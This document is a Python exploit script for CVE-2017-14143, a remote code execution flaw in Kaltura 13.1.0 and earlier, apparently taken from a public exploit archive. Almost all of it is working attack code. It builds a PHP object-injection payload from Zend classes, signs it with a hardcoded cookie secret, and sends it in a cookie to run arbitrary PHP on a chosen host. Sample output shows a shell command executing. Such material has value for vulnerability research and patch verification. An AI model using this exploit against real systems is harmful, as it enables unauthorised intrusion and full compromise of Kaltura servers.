Kaltura 13.1.0 Remote Code Execution

`#!/usr/bin/env python  
  
# Kaltura <= 13.1.0 RCE (CVE-2017-14143)  
# https://telekomsecurity.github.io/2017/09/kaltura-rce.html  
#   
# $ python kaltura_rce.py "https://example.com" 0_xxxxxxxx "system('id')"  
# [~] host: https://example.com  
# [~] entry_id: 0_xxxxxxxx  
# [~] code: system('id')  
# [+] sending request..  
# uid=1003(wwwrun) gid=50004(www) groups=50004(www),7373(kaltura)  
  
import urllib  
import urllib2  
import base64  
import md5  
import sys  
  
cookie_secret = 'y3tAno3therS$cr3T';  
  
def exploit(host, entry_id, php_code):  
print("[+] Sending request..")  
url = "{}/index.php/keditorservices/getAllEntries?list_type=15&entry_id={}".format(host, entry_id)  
  
cmd = "{}.die();".format(php_code)  
cmd_len = len(cmd)  
  
payload = "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\0*\0_writers\";a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1;}s:22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";O:9:\"Zend_Mail\":0:{}s:10:\"\0*\0_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\0*\0_replacement\";s:%s:\"%s\";}s:20:\"\0*\0_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*\0_subjectPrependText\";N;}}};}"  
  
exploit_code = payload % (len(cmd), cmd)  
encoded = base64.b64encode(exploit_code)  
md5_hash = md5.new("%s%s" % (encoded, cookie_secret)).hexdigest()  
  
cookies={'userzone': "%s%s" % (encoded, md5_hash)}  
  
r = urllib2.Request(url)  
r.add_header('Cookie', urllib.urlencode(cookies))  
  
req = urllib2.urlopen(r)  
return req.read()  
  
if __name__ == '__main__':  
  
if len(sys.argv) < 4:  
print("Usage: %s <host> <entry_id> <php_code>" % sys.argv[0])  
print(" example: %s http://example.com 0_abc1234 system('id')" % sys.argv[0])  
sys.exit(0)  
  
host = sys.argv[1]  
entry_id = sys.argv[2]  
cmd = sys.argv[3]  
  
print("[~] host: %s" % host)  
print("[~] entry_id: %s" % entry_id)  
print("[~] php_code: %s" % cmd)  
  
result = exploit(sys.argv[1], sys.argv[2], sys.argv[3])  
  
print(result)  
  
  
`